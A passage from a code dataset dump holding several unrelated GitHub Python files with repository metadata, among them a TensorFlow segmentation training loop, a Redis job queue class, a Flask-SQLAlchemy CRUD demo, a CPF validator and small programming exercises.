tf.reshape(predict_train_c,[-1])\r\n with tf.name_scope('training_labels_contour'):\r\n actual_train_c = tf.squeeze(tf.cast(contours_train-1,dtype = tf.int64))\r\n actual_train_c = tf.argmax(actual_train_c, 3)\r\n actual_train_c = tf.reshape(actual_train_c,[-1])\r\n with tf.name_scope('training_accuracy_contour'):\r\n correct_prediction_train_c = tf.equal(predict_train_c, actual_train_c)\r\n accuracy_train_c = tf.reduce_mean(tf.cast(correct_prediction_train_c, tf.float32))\r\n with tf.name_scope('validation_predictions_contour'):\r\n predict_val_c = tf.argmax(softmax_val_fusion_contour,3)\r\n predict_val_c = tf.reshape(predict_val_c,[-1])\r\n with tf.name_scope('validation_labels_contour'):\r\n actual_val_c = tf.squeeze(tf.squeeze(tf.cast(contours_val-1,dtype = tf.int64)))\r\n actual_val_c = tf.argmax(actual_val_c, 3)\r\n actual_val_c = tf.reshape(actual_val_c,[-1])\r\n with tf.name_scope('validation_accuracy_contour'):\r\n correct_prediction_val_c = tf.equal(predict_val_c,actual_val_c)\r\n accuracy_val_c = tf.reduce_mean(tf.cast(correct_prediction_val_c, tf.float32))\r\n\r\n # Build a Graph that trains the model with one batch of examples and\r\n # updates the model parameters.\r\n num_examples_per_epoch_for_train = len(glob.glob(os.path.join(FLAGS.train_dir, 'Images', '*' + FLAGS.image_ext)))\r\n learning_rate = configure_learning_rate(num_examples_per_epoch_for_train, global_step)\r\n optimizer = configure_optimizer(learning_rate)\r\n grads_and_vars = optimizer.compute_gradients(loss_train)\r\n if FLAGS.l2_reg == True:\r\n vars = tf.trainable_variables()\r\n avg_cross_entropy_log_loss = tf.add_n([tf.nn.l2_loss(v) for v in vars if 'bias' not in v.name])\r\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step)\r\n\r\n # Create a saver.\r\n #saver = tf.train.Saver(tf.global_variables(),max_to_keep = 0)\r\n saver = tf.train.Saver(max_to_keep = 0)\r\n\r\n # Build an initialization operation to run below.\r\n init = tf.global_variables_initializer()\r\n\r\n # Start running operations on the Graph.\r\n with tf.Session(config=tf.ConfigProto(inter_op_parallelism_threads=FLAGS.num_cores,\r\n intra_op_parallelism_threads=FLAGS.num_cores)) as sess:\r\n \r\n sess.run(init)\r\n # Create a summary file writer\r\n writer = tf.summary.FileWriter(FLAGS.log_dir, graph=tf.get_default_graph())\r\n coord = tf.train.Coordinator()\r\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\r\n # Start the queue runners.\r\n ckpt = tf.train.get_checkpoint_state(FLAGS.checkpoint_dir)\r\n if ckpt and ckpt.model_checkpoint_path:\r\n # Restores from checkpoint\r\n saver.restore(sess, ckpt.model_checkpoint_path)\r\n mat_contents = sio.loadmat(os.path.join(FLAGS.stats_dir,'variables.mat'))\r\n all_avgTrainLoss = mat_contents['all_avgTrainLoss']\r\n all_avgTrainLoss = all_avgTrainLoss[:,0:sess.run(curr_epoch)]\r\n all_avgValidationLoss = mat_contents['all_avgValidationLoss']\r\n all_avgValidationLoss = all_avgValidationLoss[:,0:sess.run(curr_epoch)]\r\n all_avgTrainAcc_g = mat_contents['all_avgTrainAcc_g']\r\n all_avgTrainAcc_g = all_avgTrainAcc_g[:,0:sess.run(curr_epoch)]\r\n all_avgValidationAcc_g = mat_contents['all_avgValidationAcc_g']\r\n all_avgValidationAcc_g = all_avgValidationAcc_g[:,0:sess.run(curr_epoch)]\r\n all_avgTrainAcc_c = mat_contents['all_avgTrainAcc_c']\r\n all_avgTrainAcc_c = all_avgTrainAcc_c[:,0:sess.run(curr_epoch)]\r\n all_avgValidationAcc_c = mat_contents['all_avgValidationAcc_c']\r\n all_avgValidationAcc_c = all_avgValidationAcc_c[:,0:sess.run(curr_epoch)]\r\n else:\r\n print('No checkpoint file found')\r\n all_avgTrainLoss = np.empty([1,1],dtype = np.float32 )\r\n all_avgValidationLoss = np.empty([1,1],dtype = np.float32 )\r\n all_avgTrainAcc_g = np.empty([1,1],dtype = np.float32 )\r\n all_avgValidationAcc_g = np.empty([1,1],dtype = np.float32 )\r\n all_avgTrainAcc_c = np.empty([1,1],dtype = np.float32 )\r\n all_avgValidationAcc_c = np.empty([1,1],dtype = np.float32 )\r\n\r\n num_examples_per_epoch_for_train = len(glob.glob(os.path.join(FLAGS.train_dir, 'Images', '*' + FLAGS.image_ext)))\r\n num_examples_per_epoch_for_val = len(glob.glob(os.path.join(FLAGS.val_dir, 'Images', '*' + FLAGS.image_ext)))\r\n nTrainBatches = int((num_examples_per_epoch_for_train/FLAGS.train_batch_size)+1)\r\n nValBatches = int((num_examples_per_epoch_for_val/FLAGS.train_batch_size)+1)\r\n\r\n\r\n for epoch in xrange(sess.run(curr_epoch), FLAGS.num_epochs + 1):\r\n avgTrainLoss = 0.0\r\n avgValLoss = 0.0\r\n avgTrainAcc_g = 0.0\r\n avgValAcc_g = 0.0\r\n avgTrainAcc_c = 0.0\r\n avgValAcc_c = 0.0\r\n\r\n # Training loop\r\n for step in xrange(nTrainBatches):\r\n start_time = time.time()\r\n _, loss_value_train, acc_value_train_g, predict_value_train_g, actual_value_train_g, acc_value_train_c, predict_value_train_c, actual_value_train_c, it, lt, ct= \\\r\n sess.run([train_op, loss_train, accuracy_train_g, predict_train_g, actual_train_g, accuracy_train_c, predict_train_c, actual_train_c, images_train, labels_train, contours_train],\r\n feed_dict = {keep_prob:FLAGS.keep_prob, is_training:True})\r\n\r\n duration = time.time() - start_time\r\n assert not np.isnan(loss_value_train), 'Model diverged with loss = NaN'\r\n avgTrainLoss += loss_value_train\r\n avgTrainAcc_g += acc_value_train_g\r\n avgTrainAcc_c += acc_value_train_c\r\n format_str = ('%s: epoch %d, step %d/ %d, Training Loss = %.2f, Training Accuracy Gland = %.2f, Training Accuracy Contour = %.2f (%.2f sec/step)')\r\n print (format_str % (datetime.now(), epoch, step+1, nTrainBatches, loss_value_train, acc_value_train_g, acc_value_train_c, float(duration)))\r\n\r\n predict_value_train_g = np.reshape(predict_value_train_g,-1)\r\n actual_value_train_g = np.reshape(actual_value_train_g,-1)\r\n predict_value_train_g = pd.Series(predict_value_train_g, name='Predicted')\r\n actual_value_train_g = pd.Series(actual_value_train_g, name='Actual')\r\n print(pd.crosstab(predict_value_train_g, actual_value_train_g,margins=True))\r\n\r\n # Validation loop\r\n for step in xrange(nValBatches):\r\n start_time = time.time()\r\n loss_value_val, acc_value_val_g, predict_value_val_g, actual_value_val_g, acc_value_val_c, predict_value_val_c, actual_value_val_c = \\\r\n sess.run([loss_val,accuracy_val_g, predict_val_g, actual_val_g,accuracy_val_c, predict_val_c, actual_val_c],\r\n feed_dict = {keep_prob:1.0, is_training:False})\r\n\r\n duration = time.time() - start_time\r\n assert not np.isnan(loss_value_val), 'Model diverged with loss = NaN'\r\n avgValLoss += loss_value_val\r\n avgValAcc_g += acc_value_val_g\r\n avgValAcc_c += acc_value_val_c\r\n format_str = ('%s: epoch %d, step %d/ %d, Validation Loss = %.2f, Validation Accuracy Gland = %.2f, Validation Accuracy Contour = %.2f (%.2f sec/step)')\r\n print (format_str % (datetime.now(), epoch, step+1, nValBatches, loss_value_val, acc_value_val_g, acc_value_val_c, float(duration)))\r\n\r\n predict_value_val_c = np.reshape(predict_value_val_c,-1)\r\n actual_value_val_c = np.reshape(actual_value_val_c,-1)\r\n predict_value_val_c = pd.Series(predict_value_val_c, name='Predicted')\r\n actual_value_val_c = pd.Series(actual_value_val_c, name='Actual')\r\n print(pd.crosstab(predict_value_val_c, actual_value_val_c,margins=True))\r\n\r\n #Average loss on training and validation\r\n avgTrainLoss_per_epoch = avgTrainLoss/nTrainBatches\r\n avgTrainAcc_per_epoch_g = avgTrainAcc_g/nTrainBatches\r\n avgTrainAcc_per_epoch_c = avgTrainAcc_c/nTrainBatches\r\n if epoch == 0:\r\n all_avgTrainLoss[epoch] = avgTrainLoss_per_epoch\r\n all_avgTrainAcc_g[epoch] = avgTrainAcc_per_epoch_g\r\n all_avgTrainAcc_c[epoch] = avgTrainAcc_per_epoch_c\r\n else:\r\n all_avgTrainLoss = np.append(all_avgTrainLoss,avgTrainLoss_per_epoch)\r\n all_avgTrainAcc_g = np.append(all_avgTrainAcc_g,avgTrainAcc_per_epoch_g)\r\n all_avgTrainAcc_c = np.append(all_avgTrainAcc_c,avgTrainAcc_per_epoch_c)\r\n\r\n avgValidationLoss_per_epoch = avgValLoss/nValBatches\r\n avgValidationAcc_per_epoch_g = avgValAcc_g/nValBatches\r\n avgValidationAcc_per_epoch_c = avgValAcc_c/nValBatches\r\n if epoch == 0:\r\n all_avgValidationLoss[epoch] = avgValidationLoss_per_epoch\r\n all_avgValidationAcc_g[epoch] = avgValidationAcc_per_epoch_g\r\n all_avgValidationAcc_c[epoch] = avgValidationAcc_per_epoch_c\r\n else:\r\n all_avgValidationLoss = np.append(all_avgValidationLoss,avgValidationLoss_per_epoch)\r\n all_avgValidationAcc_g = np.append(all_avgValidationAcc_g,avgValidationAcc_per_epoch_g)\r\n all_avgValidationAcc_c = np.append(all_avgValidationAcc_c,avgValidationAcc_per_epoch_c)\r\n\r\n #Save the model after each epoch.\r\n sess.run(update_curr_epoch)\r\n if (epoch+1) % 5 == 0:\r\n sess.run(update_discount_weight)\r\n\r\n checkpoint_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt')\r\n saver.save(sess, checkpoint_path, global_step=global_step)\r\n\r\n sio.savemat(os.path.join(FLAGS.stats_dir,'variables.mat'),\r\n {'all_avgTrainLoss':all_avgTrainLoss, 'all_avgTrainAcc_g':all_avgTrainAcc_g, 'all_avgTrainAcc_c':all_avgTrainAcc_c,\r\n 'all_avgValidationLoss':all_avgValidationLoss,'all_avgValidationAcc_g':all_avgValidationAcc_g,'all_avgValidationAcc_c':all_avgValidationAcc_c})\r\n\r\n ########################################################################################\r\n plt.figure(2)\r\n plt.ion()\r\n ax = plt.gca()\r\n plt.cla()\r\n plt.subplot(121)\r\n train_line, = plt.plot(np.log(all_avgTrainLoss),'b', label= 'train_line')\r\n val_line, = plt.plot(np.log(all_avgValidationLoss),'--r', label = 'val_line')\r\n plt.ylabel('average loss (log)')\r\n plt.xlabel('epoch')\r\n plt.legend([train_line,val_line],['Training', 'Validation'],loc = 0)\r\n plt.draw()\r\n\r\n plt.subplot(122)\r\n train_line, = plt.plot(all_avgTrainAcc_g,'b', label= 'train_gland')\r\n train_line2, = plt.plot(all_avgTrainAcc_c,'--b', label= 'train_contour')\r\n val_line, = plt.plot(all_avgValidationAcc_g,'r', label = 'val_gland')\r\n val_line2, = plt.plot(all_avgValidationAcc_c,'--r', label = 'val_contour')\r\n plt.ylabel('average accuracy')\r\n plt.xlabel('epoch')\r\n plt.legend([train_line, train_line2, val_line, val_line2],['Training_gland', 'Training_contour', 'Validation_gland', 'Validation_contour'],loc = 0)\r\n plt.draw()\r\n\r\n with PdfPages(os.path.join(FLAGS.stats_dir,'performance.pdf')) as pdf:\r\n pdf.savefig()\r\n\r\n coord.request_stop()\r\n coord.join(threads)\r\n plt.close()\r\n###################################################################\r\ndef find_optim_net():\r\n print('Find an optimal network from validation accuracy')\r\n mat_contents = sio.loadmat(os.path.join(FLAGS.stats_dir, 'variables.mat'))\r\n all_avgValidationAcc = mat_contents['all_avgValidationAcc_g']\r\n\r\n x = np.arange(all_avgValidationAcc.shape[1])\r\n y = np.reshape(np.log(all_avgValidationAcc), -1)\r\n f = UnivariateSpline(x, y, s=0.1)\r\n ysmooth = f(x)\r\n\r\n plt.ion()\r\n plt.cla()\r\n plt.plot(x, y, 'o', x, ysmooth, '--')\r\n plt.ylabel('average validation accuracy (log)')\r\n plt.xlabel('epoch')\r\n plt.draw()\r\n with PdfPages(os.path.join(FLAGS.stats_dir, 'optim_net.pdf')) as pdf:\r\n pdf.savefig()\r\n plt.close()\r\n\r\n optim_epoch = np.argmax(ysmooth)\r\n print('The optimal epoch (based 0) is %d' % optim_epoch)\r\n checkpointlist = glob.glob(os.path.join(FLAGS.checkpoint_dir, 'model*meta'))\r\n temp = []\r\n for filepath in checkpointlist:\r\n basename = os.path.basename(filepath)\r\n temp.append(int(float(basename.split('-')[-1].split('.')[0])))\r\n temp = np.sort(temp)\r\n optim_model_path = os.path.join(FLAGS.checkpoint_dir, 'model.ckpt-' + str(temp[optim_epoch]))\r\n return optim_model_path\r\n ###################################################################","repo_name":"simongraham/segmentation_zoo","sub_path":"DCAN/Segmentation_train.py","file_name":"Segmentation_train.py","file_ext":"py","file_size_in_byte":21084,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"10059116659","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport json\nimport inspect\nfrom uuid import uuid4\nfrom enum import Enum\nfrom datetime import datetime\nimport redis\n\n\nfrom . import TaskManager\nfrom .local import LocalStack\nfrom .utils import import_attribute, as_text\n\n\nclass JobStatus(Enum):\n INITED = 'inited' # 已初始化\n QUEUED = 'queued' # 排队中\n FINISHED = 'finished' # 已完成\n FAILED = 'failed' # 失败\n STARTED = 'started' # 已开始\n DEFERRED = 'deferred' # 延缓\n CANCELED = 'canceled' # 已取消\n TIMEOUT = 'timeout' # 超时\n\n\n# Sentinel value to mark that some of our lazily evaluated properties have not\n# yet been evaluated.\nUNEVALUATED = object()\n\n\ndef get_current_job():\n \"\"\" 获取当前正在执行的Job \"\"\"\n return _job_stack.top\n\n\nclass BaseJob(object):\n\n def __init__(self, id=None):\n self.id = id\n self.create_time = datetime.now() # 创建时间\n self._func_name = UNEVALUATED\n self._instance = UNEVALUATED # 对应的方法\n self._args = UNEVALUATED\n self._kwargs = UNEVALUATED\n self.desc = None # 描述\n self.origin = None # 来源队列名称\n self.enqueue_time = None # 入队时间\n self.start_time = None # 开始时间\n self.end_time = None # 结束时间\n self._result = None # 结果\n self.exc_info = None # 执行信息\n self.timeout = TaskManager.settings.DEFAULT_WORKER_TTL # 超时时间\n self.result_ttl = TaskManager.settings.DEFAULT_RESULT_TTL # 结果保存时间\n self.ttl = TaskManager.settings.DEFAULT_WORKER_TTL # Job的生命周期\n self._status = JobStatus.INITED # 状态\n self.next_job_id = None # 下个被执行的Job id\n self._next_job = None # 下个被执行的Job\n self.history = [] # 执行历史记录\n self.retry = TaskManager.settings.DEFAULT_RETRY # 失败重试次数\n self.retry_delay = TaskManager.settings.DEFAULT_RETRY_DELAY # 重试时间间隔\n self.retied = 0 # 已重试次数\n self.next_run_at = None # 下次运行时间\n\n @property\n def key(self):\n \"\"\"The Redis key that is used to store job hash under.\"\"\"\n return 'rq:job:' + self.id\n\n @property\n def status(self):\n return self._status\n\n @status.setter\n def status(self, status):\n self._status = status\n\n @property\n def is_finished(self):\n \"\"\" 是否已经完成 \"\"\"\n return self.status == JobStatus.FINISHED\n\n @property\n def is_queued(self):\n \"\"\" 是否正在排队 \"\"\"\n return self.status == JobStatus.QUEUED\n\n @property\n def is_failed(self):\n \"\"\" 是否已经失败 \"\"\"\n return self.status == JobStatus.FAILED\n\n @property\n def is_started(self):\n \"\"\" 是否已经开始 \"\"\"\n return self.status == JobStatus.STARTED\n\n @property\n def func(self):\n \"\"\" 对应的函数 \"\"\"\n func_name = self.func_name\n if func_name is None:\n return None\n if self.instance:\n return getattr(self.instance, func_name)\n return import_attribute(self.func_name)\n\n @property\n def func_name(self):\n return self._func_name\n\n @func_name.setter\n def func_name(self, value):\n self._func_name = value\n\n @property\n def instance(self):\n return self._instance\n\n @instance.setter\n def instance(self, value):\n self._instance = value\n\n @property\n def args(self):\n return self._args\n\n @args.setter\n def args(self, value):\n self._args = value\n\n @property\n def kwargs(self):\n return self._kwargs\n\n @kwargs.setter\n def kwargs(self, value):\n self._kwargs = value\n\n @classmethod\n def exists(cls, job_id):\n \"\"\" Job是否存在 \"\"\"\n raise NotImplementedError()\n\n @classmethod\n def fetch(cls, id):\n \"\"\" 通过id获取对应的Job \"\"\"\n raise NotImplementedError()\n\n @classmethod\n def create(cls, func, args=(), kwargs={},\n result_ttl=None, ttl=None, status=None, desc=None,\n next_job=None, timeout=None, id=None, origin=None):\n \"\"\" 创建一个Job对象 \"\"\"\n if not isinstance(args, (tuple, list)):\n raise TypeError('{0!r} is not a valid args list'.format(args))\n if not isinstance(kwargs, dict):\n raise TypeError('{0!r} is not a valid kwargs dict'.format(kwargs))\n\n job = cls()\n if id is not None:\n job.id = id\n\n if origin is not None:\n job.origin = origin\n\n # Set the core job tuple properties\n job._instance = None\n if inspect.ismethod(func):\n job._instance = func.__self__\n job._func_name = func.__name__\n elif inspect.isfunction(func) or inspect.isbuiltin(func):\n job._func_name = '{0}.{1}'.format(func.__module__, func.__name__)\n elif isinstance(func, str):\n job._func_name = as_text(func)\n elif not inspect.isclass(func) and hasattr(func, '__call__'): # a callable class instance\n job._instance = func\n job._func_name = '__call__'\n else:\n raise TypeError('Expected a callable or a string, but got: {0}'.format(func))\n job._args = args\n job._kwargs = kwargs\n\n job.desc = desc or job.get_call_string()\n job.result_ttl = result_ttl or TaskManager.settings.DEFAULT_RESULT_TTL\n job.ttl = ttl or TaskManager.settings.DEFAULT_WORKER_TTL\n job.timeout = timeout or TaskManager.settings.DEFAULT_WORKER_TTL\n job._status = status\n\n if next_job is not None:\n job.next_job_id = next_job.id if isinstance(next_job, cls) else next_job\n return job\n\n def save(self):\n \"\"\" 将Job保存起来 \"\"\"\n raise NotImplementedError()\n\n @property\n def next_job(self):\n \"\"\" 下个被执行的Job \"\"\"\n if self.next_job_id is None:\n return None\n if self._next_job is not None:\n return self._next_job\n job = self.fetch(self.next_job_id)\n self._next_job = job\n return job\n\n # def update(self, kwargs):\n # \"\"\" 更新Job属性 \"\"\"\n # raise NotImplementedError()\n\n def to_dict(self):\n obj = {\n 'id': self.id,\n 'create_time': self.create_time.strftime(TaskManager.settings.DATE_FMT) if isinstance(self.create_time, datetime) else self.create_time,\n 'origin': self.origin,\n 'desc': self.desc,\n 'enqueue_time': self.enqueue_time.strftime(TaskManager.settings.DATE_FMT) if isinstance(self.enqueue_time, datetime) else None,\n 'start_time': self.start_time.strftime(TaskManager.settings.DATE_FMT) if isinstance(self.start_time, datetime) else None,\n 'end_time': self.end_time.strftime(TaskManager.settings.DATE_FMT) if isinstance(self.end_time, datetime) else None,\n 'exc_info': self.exc_info,\n 'timeout': self.timeout,\n 'result_ttl': self.result_ttl,\n 'status': str(self._status),\n 'next_job_id': self.next_job_id,\n 'ttl': self.ttl,\n 'func_name': self.func_name,\n 'instance': self.instance,\n 'args': self.args,\n 'kwargs': self.kwargs,\n 'result': self._result,\n }\n return obj\n\n @classmethod\n def to_obj(cls, _dict):\n job = cls()\n for attr, value in _dict.items():\n setattr(job, attr, value)\n return job\n\n def cancel(self):\n \"\"\" 取消Job \"\"\"\n from .queue import Queue\n q = Queue(name=self.origin)\n q.remove(self)\n self.status = JobStatus.CANCELED\n self.save()\n\n def perform(self):\n \"\"\" 执行Job \"\"\"\n _job_stack.push(self)\n try:\n self._result = self._execute()\n finally:\n assert self is _job_stack.pop()\n return self._result\n\n def _execute(self):\n \"\"\" 运行Job \"\"\"\n return self.func(*self.args, **self.kwargs)\n\n def get_ttl(self, default_ttl=None):\n \"\"\" Job的生命周期 \"\"\"\n return default_ttl if self.ttl is None else self.ttl\n\n def get_result_ttl(self, default_ttl=None):\n \"\"\" 结果保存期限 \"\"\"\n return default_ttl if self.result_ttl is None else self.result_ttl\n\n def get_call_string(self):\n \"\"\" 将方法名和调用参数拼接成字符串 \"\"\"\n if self.func_name is None:\n return None\n\n arg_list = [as_text(repr(arg)) for arg in self.args]\n kwargs = ['{0}={1}'.format(k, as_text(repr(v))) for k, v in self.kwargs.items()]\n\n arg_list += sorted(kwargs)\n args = ', '.join(arg_list)\n\n return '{0}({1})'.format(self.func_name, args)\n\n def failure(self):\n raise NotImplementedError()\n\n def success(self):\n raise NotImplementedError()\n\n @classmethod\n def count(cls, status):\n raise NotImplementedError()\n\n\nclass RedisJob(BaseJob):\n\n redis_client = redis.Redis(connection_pool=TaskManager.settings.REDIS_POOL)\n\n save_jobs = 'rq:jobs:'\n failure_jobs = 'rq:failure_jobs:'\n enqueue_jobs = 'rq:enqueue_jobs:'\n success_jobs = 'rq:success_jobs:'\n\n @classmethod\n def exists(cls, job_id):\n \"\"\" Job是否存在 \"\"\"\n return cls.redis_client.exists(job_id)\n\n @classmethod\n def fetch(cls, job_id):\n \"\"\" 通过id获取对应的Job \"\"\"\n job = cls.redis_client.get(cls.save_jobs + job_id)\n if job:\n return cls.to_obj(json.loads(job))\n else:\n return None\n\n def save(self):\n \"\"\" 将Job保存起来 \"\"\"\n if self.id is None:\n self.id = str(uuid4())\n self.redis_client.set(self.save_jobs + self.id, json.dumps(self.to_dict()), self.result_ttl)\n\n def failure(self):\n self.redis_client.delete(self.enqueue_jobs + self.id)\n self.redis_client.set(self.failure_jobs + self.id, json.dumps(self.to_dict()), self.result_ttl)\n\n def success(self):\n self.redis_client.delete(self.enqueue_jobs + self.id)\n self.redis_client.set(self.success_jobs + self.id, json.dumps(self.to_dict()), self.result_ttl)\n\n @classmethod\n def all_jobs(cls, status=None, page=1, size=30):\n jobs = []\n if status == JobStatus.FAILED:\n keys = cls.redis_client.keys(cls.failure_jobs + '*')\n elif status == JobStatus.FINISHED:\n keys = cls.redis_client.keys(cls.success_jobs + '*')\n elif status == JobStatus.QUEUED:\n keys = cls.redis_client.keys(cls.enqueue_jobs + '*')\n else:\n keys = cls.redis_client.keys(cls.save_jobs + '*')\n\n for key in keys:\n value = cls.redis_client.get(key)\n if value:\n jobs.append(cls.to_obj(json.loads(value)))\n\n start = (page-1)*size\n end = page*size\n return jobs[start:end]\n\n @classmethod\n def count(cls, status=None):\n if status == JobStatus.STARTED:\n return len(_job_stack)\n elif status == JobStatus.QUEUED:\n return len(cls.redis_client.keys(cls.enqueue_jobs + '*'))\n elif status == JobStatus.FINISHED:\n return len(cls.redis_client.keys(cls.success_jobs + '*'))\n elif status == JobStatus.FAILED:\n return len(cls.redis_client.keys(cls.failure_jobs + '*'))\n else:\n return 0\n\n\nclass MongoJob(object):\n\n def to_dict(self):\n pass\n\n\n# Job栈:执行Job会入栈;执行完或者失败都会出栈\n_job_stack = LocalStack()\n","repo_name":"tim2anna/sanic-task","sub_path":"sanic_task/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":11658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28427267869","text":"def descriptive_stats(a, n):\r\n print(round(sum(a)/n, 1))\r\n\r\n a = sorted(a)\r\n\r\n if n%2 == 0:\r\n print(round(float((a[int(n/2)-1] + a[int(n/2)])/2), 1))\r\n else:\r\n print(round(float(a[n//2]), 1))\r\n\r\n f_a = {}\r\n max_k = 0\r\n max_v = -1\r\n\r\n for i in a:\r\n f_a[i] = f_a.get(i, 0) + 1\r\n\r\n for j in list(set(a)):\r\n if f_a[j] >= max_v:\r\n if f_a[j] == max_v:\r\n max_k = min(max_k, j)\r\n else:\r\n max_k = j\r\n max_v = f_a[j]\r\n\r\n print(max_k)\r\n\r\nn = int(input())\r\na = list(map(int, input().split()))\r\n\r\ndescriptive_stats(a, n)","repo_name":"specbug/competitive-programming","sub_path":"HackerRank/s10_basic_statistics_HR.py","file_name":"s10_basic_statistics_HR.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5790544052","text":"# Python Object Oriented Programming\n\n\nclass Employee:\n \"\"\"Practice class\"\"\"\n\n num_of_emps = 0\n raise_amount = 1.04\n\n def __init__(self, first, last):\n self.first = first\n self.last = last\n \n @property\n def email(self):\n \"\"\"Find email format\n The @property decorator allows us to access the class method\n just like we would an attribute\"\"\"\n return '{}.{}'.format(self.first, self.last)\n\n @property\n def fullname(self):\n \"\"\"Find full name format\"\"\"\n return '{} {}'.format(self.first, self.last)\n\n @fullname.setter\n def fullname(self, name):\n \"\"\"Allows us to alter the first, last names and email of employee\"\"\"\n first, last = name.split(' ')\n self.first = first\n self.last = last\n\n @fullname.deleter\n def fullname(self):\n \"\"\"Allows us to delete the first, last names and email of employee\"\"\"\n print(\"Delete Name!\")\n self.first = None\n self.last = None\n \nemp_1 = Employee('John', 'Smith')\n\nemp_1.fullname = \"Corey Schafer\"\n\nprint(emp_1.first)\nprint(emp_1.email)\nprint(emp_1.fullname)\n\ndel emp_1.fullname","repo_name":"daktari01/employeeclass","sub_path":"employee.py","file_name":"employee.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71691070276","text":"from flask import Flask, render_template\nfrom flask_sqlalchemy import SQLAlchemy\nimport config\n\napp = Flask(__name__)\napp.config.from_object(config)\ndb = SQLAlchemy(app)\n\n\n# # 正常的SQL语句。\n# article表:\n# create table article(\n# id int primary key autoincrement,\n# title varchar(100) not null,\n# content text not null,\n# )\n\n# 创建orm 与表之间的关系模型。\nclass Article(db.Model):\n __tablename__ = 'article'\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n title = db.Column(db.String(100), nullable=False)\n content = db.Column(db.Text, nullable=False)\n\n\ndb.create_all()\n\n\n@app.route('/')\ndef hello_world():\n # # 增加:\n # article1 = Article(title='aaa', content='bbb')\n # db.session.add(article1)\n # # 事物\n # db.session.commit()\n\n # # 查\n # # select * from article where title='aaa'\n # result = Article.query.filter(Article.title == 'aaa').all()\n # article1 = result[0]\n # print(article1.title)\n # print(article1.content)\n # Article.query.filter(Article.title == 'aaa').first()\n\n # # 改\n # # 1.先把你要改的数据查找出来\n # article1 = Article.query.filter(Article.title == 'aaa').first()\n # # 2.把这条数据,你需要修改的地方进行修改。\n # article1.title = 'new title'\n # # 3.做事物的提交。\n # db.session.commit()\n\n # 删\n # 1.把需要删除的数据查找出来。\n article1 = Article.query.filter(Article.content=='bbb').first()\n # 2.把这条数据删除掉\n db.session.delete(article1)\n # 3.做事物提交\n db.session.commit()\n\n return render_template('index.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"YummyELine/StudyFlask","sub_path":"13 数据库相关/06-08 Flask_SQLALchemy的使用,增删改查/db_demo2.py","file_name":"db_demo2.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24101282658","text":"import re\n\n\nclass Util:\n @staticmethod\n def validate_cpf(numbers):\n \"\"\"Method to validate a CPF\"\"\"\n # Obtém os números do CPF e ignora outros caracteres\n cpf = [int(char) for char in numbers if char.isdigit()]\n\n # Verify if cpf has 11 digits\n if len(cpf) != 11:\n return False\n\n # Verify if all the digits are the same\n # A cpf with all the same digits passes the validation but is invalid\n if cpf == cpf[::-1]:\n return False\n\n # Validate check digits\n for i in range(9, 11):\n value = sum((cpf[num] * ((i+1) - num) for num in range(0, i)))\n digit = ((value * 10) % 11) % 10\n if digit != cpf[i]:\n return False\n return True\n\n def validate_phone(value):\n \"\"\"Method to validate a phone\"\"\"\n rule = re.compile(r'(\\(?\\d{2}\\)?\\s)?(\\d{4,5}\\-\\d{4})')\n if not rule.search(value):\n return False\n return True\n","repo_name":"gbr-mendes/ead-courses-api","sub_path":"app/accounts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"44197750724","text":"#큰 수의 법칙\n\nnumbers_cnt = [0] * 1000\nN, M, K = map(int, input().split())\ninput_list = list(map(int, input().split()))\nfor i in input_list:\n numbers_cnt[i] += 1\nfirst = -1\nsecond = -1\n\n#가장 큰 수 first, 2번째로 큰 수 second 찾기\ni = 1000\nwhile i >= 0:\n i -= 1\n if numbers_cnt[i] == 0:\n continue\n\n if first == -1:\n first = i\n if numbers_cnt[i] > 1:\n second = i\n break\n elif second == -1:\n second = i\n break\n\n#총 길이 M 중에서 K + 1 길이의(first, second로 구성된) 수열이 반복되는 횟수에 K를 곱하면 하나의 수열을 구성하는 first 개수 도출\nfirst_cnt = int(M / (K + 1)) * K\n\n#총 길이 M 중에서 K + 1 길이보다 적은(꼬리 부분의) 수열을 구성하는 수는 모두 first 개수에 포함. second는 오직 K + 1 길이의 수열에서 마지막에 위치하기 때문\nfirst_cnt += M % (K + 1)\n\n#총 M개 중 first 개수를 제외한 값이 second 개수\nsecond_cnt = M - first_cnt\n\nsum = (first_cnt * first) + (second_cnt * second)\nprint(sum)","repo_name":"imWhS/This-Is-The-Coding-Test","sub_path":"Python/Chapter-3/Example-3-2-2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36230011076","text":"from unittest.mock import MagicMock, Mock, patch\n\nimport frappe\nfrom frappe.tests.utils import FrappeTestCase\n\nfrom press.api.server import new\nfrom press.press.doctype.ansible_play.test_ansible_play import create_test_ansible_play\nfrom press.press.doctype.cluster.test_cluster import create_test_cluster\nfrom press.press.doctype.plan.test_plan import create_test_plan\nfrom press.press.doctype.proxy_server.test_proxy_server import create_test_proxy_server\nfrom press.press.doctype.server.server import BaseServer\nfrom press.press.doctype.team.test_team import create_test_press_admin_team\nfrom press.press.doctype.virtual_machine.virtual_machine import VirtualMachine\nfrom press.press.doctype.virtual_machine_image.test_virtual_machine_image import (\n\tcreate_test_virtual_machine_image,\n)\nfrom press.press.doctype.virtual_machine_image.virtual_machine_image import (\n\tVirtualMachineImage,\n)\nfrom press.runner import Ansible\nfrom press.utils.test import foreground_enqueue_doc\n\n\ndef successful_provision(self: VirtualMachine):\n\tself.status = 